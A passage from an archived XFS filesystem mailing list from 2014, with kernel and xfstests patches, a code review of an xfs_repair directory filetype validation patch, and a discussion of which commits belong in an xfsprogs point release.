bdev_logical_block_size(btp->bt_bdev); > + btp->bt_logical_sectormask = bdev_logical_block_size(btp->bt_bdev) - 1; > + > return 0; > } > > diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h > index d5d88dd..9953395 100644 > --- a/fs/xfs/xfs_buf.h > +++ b/fs/xfs/xfs_buf.h > @@ -88,6 +88,19 @@ typedef unsigned int xfs_buf_flags_t; > */ > #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ > > +/* > + * The xfs_buftarg contains 2 notions of "sector size" - > + * > + * 1) The metadata sector size, which is the minimum unit and > + * alignment of IO which will be performed by metadata operations. > + * 2) The device logical sector size > + * > + * The first is specified at mkfs time, and is stored on-disk in the > + * superblock's sb_sectsize. > + * > + * The latter is derived from the underlying device, and controls direct IO > + * alignment constraints. > + */ > typedef struct xfs_buftarg { > dev_t bt_dev; > struct block_device *bt_bdev; > @@ -95,6 +108,8 @@ typedef struct xfs_buftarg { > struct xfs_mount *bt_mount; > unsigned int bt_meta_sectorsize; > size_t bt_meta_sectormask; > + size_t bt_logical_sectorsize; > + size_t bt_logical_sectormask; > > /* LRU control structures */ > struct shrinker bt_shrinker; > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index ef0c933..57725b4 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -261,7 +261,8 @@ xfs_file_aio_read( > xfs_buftarg_t *target = > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > - if ((pos | size) & target->bt_meta_sectormask) { > + /* DIO must be aligned to device logical sector size */ > + if ((pos | size) & target->bt_logical_sectormask) { > if (pos == i_size_read(inode)) > return 0; > return -XFS_ERROR(EINVAL); > @@ -641,9 +642,11 @@ xfs_file_dio_aio_write( > struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - if ((pos | count) & target->bt_meta_sectormask) > + /* DIO must be aligned to device logical sector size */ > + if ((pos | count) & target->bt_logical_sectormask) > return -XFS_ERROR(EINVAL); > > + /* "unaligned" here means not aligned to a filesystem block */ > if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) > unaligned_io = 1; > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 64ca8e9..f7ac335 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1587,7 +1587,7 @@ xfs_file_ioctl( > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; > + da.d_mem = da.d_miniosz = target->bt_logical_sectorsize; > da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); > > if (copy_to_user(arg, &da, sizeof(da))) > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From dsterba@suse.cz Wed Jan 22 07:55:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 689E77F78 for ; Wed, 22 Jan 2014 07:55:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 52AFA8F8065 for ; Wed, 22 Jan 2014 05:55:28 -0800 (PST) X-ASG-Debug-ID: 1390398926-04cbb05bac7a580001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id vMTZ4xq8Id1aoNkB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 05:55:27 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 703C5AC6E for ; Wed, 22 Jan 2014 13:55:26 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 3C339DA8D7; Wed, 22 Jan 2014 14:55:26 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH v2] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 Date: Wed, 22 Jan 2014 14:55:25 +0100 X-ASG-Orig-Subj: [PATCH v2] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 Message-Id: <1390398925-8552-1-git-send-email-dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390398927 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144361 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- If DIFF_LENGTH is set to 0, the full output is available and the message does not make sense. Signed-off-by: David Sterba --- v2: added missing \ check | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/check b/check index 2fb4efe31771..268417c258ec 100755 --- a/check +++ b/check @@ -511,11 +511,11 @@ do cat else head -n "$DIFF_LENGTH" + echo "..." + echo "(Run '$diff $seq.out $seqres.out.bad'" \ + " to see the entire diff)" fi; } | \ sed -e 's/^\(.\)/ \1/' - echo " ..." - echo " (Run '$diff $seq.out $seqres.out.bad' to see the" \ - "entire diff)" err=true fi fi -- 1.8.5 From bfoster@redhat.com Wed Jan 22 07:59:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 02E947F78 for ; Wed, 22 Jan 2014 07:59:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7B227AC002 for ; Wed, 22 Jan 2014 05:59:30 -0800 (PST) X-ASG-Debug-ID: 1390399169-04cbb05ba97a810001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id WV0tr5ckb9H2l3DH for ; Wed, 22 Jan 2014 05:59:29 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0MDxRni024800 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Jan 2014 08:59:27 -0500 Received: from laptop.bfoster (vpn-58-155.rdu2.redhat.com [10.10.58.155]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MDxPD2028257 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 22 Jan 2014 08:59:26 -0500 Message-ID: <52DFCEBD.9020202@redhat.com> Date: Wed, 22 Jan 2014 08:59:25 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH V2] xfs_repair: add support for validating dirent ftype field References: <1390363829-3476-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfs_repair: add support for validating dirent ftype field In-Reply-To: <1390363829-3476-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390399169 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/21/2014 11:10 PM, Dave Chinner wrote: > From: Dave Chinner > > Add code to track the filetype of an inode from phase 3 when all the > inodes are scanned throught to phase 6 when the directory structure > is validated and corrected. > > Add code to phase 6 shortform and long form directory entry > validation to read the ftype from the dirent, lookup the inode > record and check they are the same. If they aren't and we are in > no-modify mode, issue a warning such as: > > Phase 6 - check inode connectivity... > - traversing filesystem ... > would fix ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > If we are fixing the problem: > > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - traversing filesystem ... > fixing ftype mismatch (5/1) in directory/child inode 64/68 > - traversal finished ... > - moving disconnected inodes to lost+found ... > > Note that this is from a leaf form directory entry that was > intentionally corrupted with xfs_db like so: > > xfs_db> inode 64 > xfs_db> a u3.bmx[0].startblock > xfs_db> p > .... > du[3].inumber = 68 > du[3].namelen = 11 > du[3].name = "syscalltest" > du[3].filetype = 1 > du[3].tag = 0x70 > .... > xfs_db> write du[3].filetype 5 > du[3].filetype = 5 > xfs_db> quit > > Shortform directory entry repair was tested in a similar fashion. > > Further, track the ftype in the directory hash table that is build, > so if the directory is rebuild from scratch it has the necessary > ftype information to rebuild the directory correctly. Further, if we > detect a ftype mismatch, update the entry in the hash so that later > directory errors that lead to it being rebuilt use the corrected > ftype field, not the bad one. > > Note that this code pulls in some kernel side code that is currently > in kernel private locations (xfs_mode_to_ftype table), so there'll > be some kernel/userspace sync work needed to bring these back into > line. > > Signed-off-by: Dave Chinner > > Version 2: > - factored out junking of entry in shortform directory code > - fixed leak of ftypes array memory > --- > include/xfs_dir2.h | 3 + > libxfs/xfs_dir2.c | 16 ++++ > repair/dino_chunks.c | 11 +++ > repair/incore.h | 27 +++++- > repair/incore_ino.c | 30 ++++++- > repair/phase6.c | 235 ++++++++++++++++++++++++++++++++++++--------------- > repair/scan.c | 4 +- > 7 files changed, 251 insertions(+), 75 deletions(-) > ... > /* > * check easy case first, regular inode, just bump > * the link count and continue > @@ -2189,6 +2238,59 @@ out_fix: > * shortform directory v2 processing routines -- entry verification and > * bad entry deletion (pruning). > */ > +static struct xfs_dir2_sf_entry * > +shortform_dir2_junk( > + struct xfs_mount *mp, > + struct xfs_dir2_sf_hdr *sfp, > + struct xfs_dir2_sf_entry *sfep, > + xfs_ino_t lino, > + int max_size, We should probably be passing max_size as a pointer. Otherwise, nice cleanup. ... > - } else if (lino > XFS_DIR2_MAX_SHORT_INUM) > + } > + > + if (lino > XFS_DIR2_MAX_SHORT_INUM) > i8++; > > /* > - * go onto next entry unless we've just junked an > - * entry in which the current entry pointer points > - * to an unprocessed entry. have to take into entries > + * go onto next entry - we have to take into entries Nit... extra "into" on the above line (reads weird with the line below). The rest of it looks good to me, though I'm pretty new to the directory format bits. Brian > * with bad namelen into account in no modify mode since we > * calculate size based on next_sfep. > */ > ASSERT(no_modify || bad_sfnamelen == 0); > - > - next_sfep = (tmp_sfep == NULL) > - ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep > - + ((!bad_sfnamelen) > - ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > - : xfs_dir3_sf_entsize(mp, sfp, namelen))) > - : tmp_sfep; > + next_sfep = (struct xfs_dir2_sf_entry *)((__psint_t)sfep + > + (bad_sfnamelen > + ? xfs_dir3_sf_entsize(mp, sfp, namelen) > + : xfs_dir3_sf_entsize(mp, sfp, sfep->namelen))); > } > > if (sfp->i8count != i8) { > @@ -2501,6 +2599,8 @@ do_junkit: > ino); > } else { > if (i8 == 0) { > + struct xfs_dir2_sf_entry *tmp_sfep; > + > tmp_sfep = next_sfep; > process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); > bytes_deleted += > @@ -2518,8 +2618,7 @@ do_junkit: > /* > * sync up sizes if required > */ > - if (*ino_dirty) { > - ASSERT(bytes_deleted > 0); > + if (*ino_dirty && bytes_deleted > 0) { > ASSERT(!no_modify); > libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); > ip->i_d.di_size -= bytes_deleted; > diff --git a/repair/scan.c b/repair/scan.c > index 49ed194..73b4581 100644 > --- a/repair/scan.c > +++ b/repair/scan.c > @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") > for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { > if (XFS_INOBT_IS_FREE_DISK(rp, j)) { > nfree++; > - add_aginode_uncertain(agno, ino + j, 1); > + add_aginode_uncertain(mp, agno, ino + j, 1); > } else { > - add_aginode_uncertain(agno, ino + j, 0); > + add_aginode_uncertain(mp, agno, ino + j, 0); > } > } > } > From dsterba@suse.cz Wed Jan 22 08:38:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BE7317F72 for ; Wed, 22 Jan 2014 08:38:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8FD608F8054 for ; Wed, 22 Jan 2014 06:38:05 -0800 (PST) X-ASG-Debug-ID: 1390401483-04cbb05baa7c0d0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 7GHBTFwW1H3U9uh6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 06:38:04 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 41ED9AC5D for ; Wed, 22 Jan 2014 14:38:03 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 1B762DA8E5; Wed, 22 Jan 2014 15:38:03 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH v2] xfstests: use value of FSTYP if defined externally Date: Wed, 22 Jan 2014 15:38:02 +0100 X-ASG-Orig-Subj: [PATCH v2] xfstests: use value of FSTYP if defined externally Message-Id: <1390401482-13389-1-git-send-email-dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390401484 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144361 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The initial value of FSTYP is unconditionally set to 'xfs' and the filesystem type is taken from the TEST_DEV. This could lead to confusion if the device hasn't been formatted yet, eg. an empty image in VM, or a different test setup took place before. Now one can specify the desired FSTYP in advance and be safe. If unset, the fallback to TEST_DEV type continues to work. Signed-off-by: David Sterba --- v2: - fixed handling of default case, reorder as the last step - README: mention what's the default if FSTYP is unset README | 3 +++ check | 7 ++++--- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/README b/README index a49ca7c3ff15..295d67f56246 100644 --- a/README +++ b/README @@ -65,6 +65,9 @@ Preparing system for tests (IRIX and Linux): environment variable set to "yes" will enable their use. - setenv DIFF_LENGTH "number of diff lines to print from a failed test", by default 10, set to 0 to print the full diff + - setenv FSTYP "the filesystem you want to test", the filesystem + type is devised from the TEST_DEV device, but you may want to + override it; if unset, the default is 'xfs' - or add a case to the switch in common/config assigning these variables based on the hostname of your test machine diff --git a/check b/check index 61fb91b82316..2fb4efe31771 100755 --- a/check +++ b/check @@ -33,7 +33,6 @@ showme=false have_test_arg=false randomize=false here=`pwd` -FSTYP=xfs xfile="" # start the initialisation work now @@ -57,10 +56,12 @@ then exit 1 fi -# Autodetect fs type based on what's on $TEST_DEV -if [ "$HOSTOS" == "Linux" ]; then +# Autodetect fs type based on what's on $TEST_DEV unless it's been set +# externally +if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` fi +FSTYP=${FSTYP:=xfs} export FSTYP SUPPORTED_TESTS="[0-9][0-9][0-9] [0-9][0-9][0-9][0-9]" -- 1.8.5 From tinguely@sgi.com Wed Jan 22 08:39:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75A637F72 for ; Wed, 22 Jan 2014 08:39:00 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay2.corp.sgi.com (Postfix) with ESMTP id EE8F3304053; Wed, 22 Jan 2014 06:38:56 -0800 (PST) Message-ID: <52DFD801.40801@sgi.com> Date: Wed, 22 Jan 2014 08:38:57 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= , xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <20140120230814.GA4287@infradead.org> <20140120231158.GL1935@sgi.com> <201401210917.38674.arekm@maven.pl> <20140121234151.GJ13997@dastard> In-Reply-To: <20140121234151.GJ13997@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit On 01/21/14 17:41, Dave Chinner wrote: > On Tue, Jan 21, 2014 at 09:17:38AM +0100, Arkadiusz Miśkiewicz wrote: >> On Tuesday 21 of January 2014, Ben Myers wrote: >>> On Mon, Jan 20, 2014 at 03:08:14PM -0800, Christoph Hellwig wrote: >>>> On Tue, Jan 21, 2014 at 10:02:59AM +1100, Dave Chinner wrote: >>>>> Well, that's always been the plan since a 3.1.12 release was >>>>> proposed 3 months ago. How well has that plan been working out so >>>>> far? >>>> >>>> The sad part is that I would have had the time 3 month ago, but right >>>> now it's hard. Still trying to get it done, though. >>> >>> If Arkadiusz is willing to provide a list of commits to include it >>> shouldn't be a problem to get this done. I believe he indicated a >>> willingness to help on IRC earlier today. >> >> By looking into git log these look like small fixes for 3.1.x. Could someone else recheck? >> > ..... >> 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode structures >> 61510437c627b529feb95ebffddd73df5ed5b104 repair: prefetching is turned off unnecessarily >> 0cce4aa198f0470817bedb3781ea5b6955e43076 repair: Increase default repair parallelism on large filesystems > > I think these three are not a great idea for 3.1.x. They result in > significant changes of behaviour that can result in increased memory > consumption by default. I'd prefer that we don't make changes to the > default behaviour in a bug-fix only point release. > > ..... >> Not sure about these: >> >> 1ba28b64e69ce3a7989df88f71a5cb608b1c71e3 xfs_repair: drop buffer reference on symlink error >> 4e503735fd407e2e61295e6af6ec47af4693bc95 xfs_repair: fix btree block magic number mapping >> 4fbebf374ccc178f1fedcf2d8a43339031f8dbb4 libxfs: fix dir3 freespace block corruption >> 494434d7fb79840ba113ecd7fb1ac3ae20e0f569 xfs: Add read-only support for dirent filetype field >> 906b762f55333968321062642a0b90feac1fdffb xfs: Add write support for dirent filetype field >> 3beed08eb22f56b384d2028541ccb41284ff9751 xfsprogs: add dtype support to mkfs and db >> 1acc538540ce22e16bb55ca573691070a8d375db xfsprogs: initialize filetype for xfs_name_dot >> 41315687d9db9b50876401e7b0ee20dd77cfc712 xfs: dirent dtype presence is dependent on directory magic numbers >> 68774b900e0c8368342cb12f649572a86ef2f6e4 xfsprogs: initialize filetype for lost+found creation >> 2cca1dbd1c3e12d270a9baa5f85e548e8a5a2125 xfs_repair: add d_type when moving files to lost+found >> 87e343bd0937e5bb75dd8bc46ba388b6f8c6552b xfsprog: add xfs sb v4 support for dirent filetype field >> 6f700630b06a2ce15aebe8608b2c5877002299d6 xfsprog: add dirent filetype information for xfs_info >> 42737f1ad16213a3dab1756c9fffb494db8ef27e xfs_progs: add dirent filetype to xfs_db version >> 4eb02d95b7e081b510a7015609f01385aab229a9 xfsprog: add mkfs.xfs sb v4 support for dirent filetype field > > I'd say not to the dirent filetype changes. They require the CRC > format enabled directory code and that basically involves > backporting the entire 3.2-alpha code base to support it. Otherwise > a complete re-implementation in needed for 3.1.x, not a backport. > > Cheers, > > Dave. Thanks for making the list. I agree with Dave above about 3 feature patches and the directory file type changes. The following patch that is in your "not sure" list looks like a good bug fix that is not CRC related: ba28b64e69ce3a7989df88f71a5cb608b1c71e3 xfs_repair: drop buffer reference on symlink error --Mark. From dsterba@suse.cz Wed Jan 22 08:39:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E712A7F72 for ; Wed, 22 Jan 2014 08:39:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 38993AC003 for ; Wed, 22 Jan 2014 06:39:11 -0800 (PST) X-ASG-Debug-ID: 1390401548-04cbb05baa7c170001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id lbJueYjWdlhl6A7D (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 06:39:09 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 712C9AC65 for ; Wed, 22 Jan 2014 14:39:08 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 44D22DA8E5; Wed, 22 Jan 2014 15:39:08 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH] xfstests: clean command names in btrfs tests Date: Wed, 22 Jan 2014 15:39:07 +0100 X-ASG-Orig-Subj: [PATCH] xfstests: clean command names in btrfs tests Message-Id: <1390401547-13538-1-git-send-email-dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1390401549 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144361 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- - expand shortened command names - use $BTRFS_UTIL_PROG instead of 'btrfs' - fix test 024 header number Signed-off-by: David Sterba --- tests/btrfs/003 | 2 +- tests/btrfs/004 | 2 +- tests/btrfs/007 | 4 ++-- tests/btrfs/008 | 12 ++++++------ tests/btrfs/009 | 6 +++--- tests/btrfs/013 | 2 +- tests/btrfs/014 | 6 +++--- tests/btrfs/015 | 2 +- tests/btrfs/016 | 14 +++++++------- tests/btrfs/017 | 2 +- tests/btrfs/019 | 14 +++++++------- tests/btrfs/022 | 6 +++--- tests/btrfs/024 | 2 +- tests/btrfs/025 | 4 ++-- 14 files changed, 39 insertions(+), 39 deletions(-) diff --git a/tests/btrfs/003 b/tests/btrfs/003 index 29f947b631cd..d559f8ed1df9 100755 --- a/tests/btrfs/003 +++ b/tests/btrfs/003 @@ -148,7 +148,7 @@ _test_replace() _devmgt_remove ${DEVHTL} $ds dev_removed=1 - $BTRFS_UTIL_PROG fi show $SCRATCH_DEV | grep "Some devices missing" >> $seqres.full || _fail \ + $BTRFS_UTIL_PROG filesystem show $SCRATCH_DEV | grep "Some devices missing" >> $seqres.full || _fail \ "btrfs did not report device missing" # add a new disk to btrfs diff --git a/tests/btrfs/004 b/tests/btrfs/004 index 6e58b03ccf47..14da9f1a33f6 100755 --- a/tests/btrfs/004 +++ b/tests/btrfs/004 @@ -182,7 +182,7 @@ workout() run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p $procs -n 2000 \ $FSSTRESS_AVOID - run_check $BTRFS_UTIL_PROG subvol snap $SCRATCH_MNT \ + run_check $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT \ $SCRATCH_MNT/$snap_name run_check umount $SCRATCH_DEV >/dev/null 2>&1 diff --git a/tests/btrfs/007 b/tests/btrfs/007 index 1617977c2be8..5df9ccba0888 100755 --- a/tests/btrfs/007 +++ b/tests/btrfs/007 @@ -72,9 +72,9 @@ workout() run_check _scratch_mount "-o noatime" run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n $ops $FSSTRESS_AVOID -x \ - "$BTRFS_UTIL_PROG subvol snap -r $SCRATCH_MNT $SCRATCH_MNT/base" + "$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/base" - run_check $BTRFS_UTIL_PROG subvol snap -r $SCRATCH_MNT $SCRATCH_MNT/incr + run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/incr echo "# $BTRFS_UTIL_PROG send $SCRATCH_MNT/base > $tmp/base.snap" \ >> $seqres.full diff --git a/tests/btrfs/008 b/tests/btrfs/008 index fa61cb1bfe79..9fa36a613667 100755 --- a/tests/btrfs/008 +++ b/tests/btrfs/008 @@ -34,9 +34,9 @@ status=1 # failure is the default! _cleanup() { - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/send/snapshots/backup2 > /dev/null 2>&1 - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/send/snapshots/backup3 > /dev/null 2>&1 - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/send > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/send/snapshots/backup2 > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/send/snapshots/backup3 > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/send > /dev/null 2>&1 rm -rf $TEST_DIR/$tmp_dir rm -f $tmp.* } @@ -62,7 +62,7 @@ export SELINUX_MOUNT_OPTIONS="" _scratch_mount mkdir $TEST_DIR/$tmp_dir -$BTRFS_UTIL_PROG subvol create $TEST_DIR/$tmp_dir/send \ +$BTRFS_UTIL_PROG subvolume create $TEST_DIR/$tmp_dir/send \ > $seqres.full 2>&1 || _fail "failed subvol create" work_dir="$TEST_DIR/$tmp_dir/send" mkdir $work_dir/testdir @@ -72,9 +72,9 @@ dd if=/dev/urandom of=$work_dir/testdir/aa count=16 > /dev/null 2>&1 dd if=/dev/urandom of=$work_dir/testdir/bb count=16 > /dev/null 2>&1 mkdir $work_dir/snapshots -$BTRFS_UTIL_PROG sub snap -r $work_dir $work_dir/snapshots/backup2 \ +$BTRFS_UTIL_PROG subvolume snapshot -r $work_dir $work_dir/snapshots/backup2 \ >> $seqres.full 2>&1 || _fail "failed backup2" -$BTRFS_UTIL_PROG sub snap -r $work_dir $work_dir/snapshots/backup3 \ +$BTRFS_UTIL_PROG subvolume snapshot -r $work_dir $work_dir/snapshots/backup3 \ >> $seqres.full 2>&1 || _fail "failed backup3" $BTRFS_UTIL_PROG send $work_dir/snapshots/backup3/ -f $TEST_DIR/$tmp_dir/blah \ >> $seqres.full 2>&1 || _fail "send failed" diff --git a/tests/btrfs/009 b/tests/btrfs/009 index 08aa5081b46f..2ffb81730d24 100755 --- a/tests/btrfs/009 +++ b/tests/btrfs/009 @@ -52,12 +52,12 @@ 